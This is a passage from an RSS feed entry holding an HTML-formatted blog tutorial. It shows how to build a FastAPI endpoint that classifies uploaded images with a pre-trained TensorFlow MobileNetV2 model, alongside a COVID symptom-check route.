&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Image recognition API
&lt;/h1&gt;

&lt;p&gt;We will create an API to classify images, we name it &lt;code&gt;predict/image&lt;/code&gt;.&lt;br&gt;
We will use Tensorflow for creating the image classification model.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Tutorial for &lt;a href="https://aniketmaurya.ml/blog/tensorflow/deep%20learning/2019/05/12/image-classification-with-tf2.html" rel="noopener noreferrer"&gt;Image Classification with Tensorflow&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We create a function &lt;code&gt;load_model&lt;/code&gt;, which will return a MobileNet CNN Model with pre-trained weights i.e. it is already trained to classify 1000 unique categories of images.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tensorflow&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;keras&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;applications&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;MobileNetV2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;weights&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;imagenet&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Model loaded&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;

&lt;span class="n"&gt;model&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;load_model&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We define a &lt;code&gt;predict&lt;/code&gt; function that will accept an image and returns the predictions.&lt;br&gt;
We resize the image to 224x224 and normalize the pixel values to be in &lt;strong&gt;[-1, 1]&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;tensorflow.keras.applications.imagenet_utils&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;decode_predictions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;decode_predictions&lt;/code&gt; is used to decode the class name of the predicted object. &lt;br&gt;
Here we will return the top-2 probable class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;

    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;asarray&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;resize&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;224&lt;/span&gt;&lt;span class="p"&gt;)))[...,&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;expand_dims&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mf"&gt;127.5&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mf"&gt;1.0&lt;/span&gt;

    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;decode_predictions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;class&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;confidence&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;0.2&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; %&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

        &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we will create an API &lt;code&gt;/predict/image&lt;/code&gt; which supports file upload. We will filter the file extension to support only jpg, jpeg, and png format of images.&lt;/p&gt;

&lt;p&gt;We will use Pillow to load the uploaded image.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Image&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;BytesIO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;image&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h1&gt;
  
  
  Final code
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;uvicorn&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt;

&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;application.components&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;read_imagefile&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/predict/image&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;predict_api&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;UploadFile&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jpeg&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;png&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Image must be jpg or png format!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;image&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;read_imagefile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nb"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="n"&gt;prediction&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;predict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;image&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;prediction&lt;/span&gt;


&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/api/covid-symptom-check&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;check_risk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Symptom&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;symptom_check&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_risk_level&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symptom&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;uvicorn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;a href="https://fastapi.tiangolo.com/" rel="noopener noreferrer"&gt;FastAPI documentation&lt;/a&gt; is the best place to learn more about core concepts of the framework. &lt;/p&gt;
&lt;/blockquote&gt;



&lt;br&gt;
&lt;br&gt;

&lt;blockquote&gt;
&lt;p&gt;Hope you liked the article.&lt;/p&gt;


&lt;/blockquote&gt;

&lt;p&gt;Feel free to ask your questions in the comments or reach me out personally.&lt;/p&gt;

&lt;p&gt;👉 Twitter: &lt;a href="https://twitter.com/aniketmaurya" rel="noopener noreferrer"&gt;https://twitter.com/aniketmaurya&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;👉 Linkedin: &lt;a href="https://linkedin.com/in/aniketmaurya" rel="noopener noreferrer"&gt;https://linkedin.com/in/aniketmaurya&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tensorflow</category>
      <category>webdev</category>
      <category>python</category>
      <category>machinelearning</category>
    </item>
  </channel>
</rss>
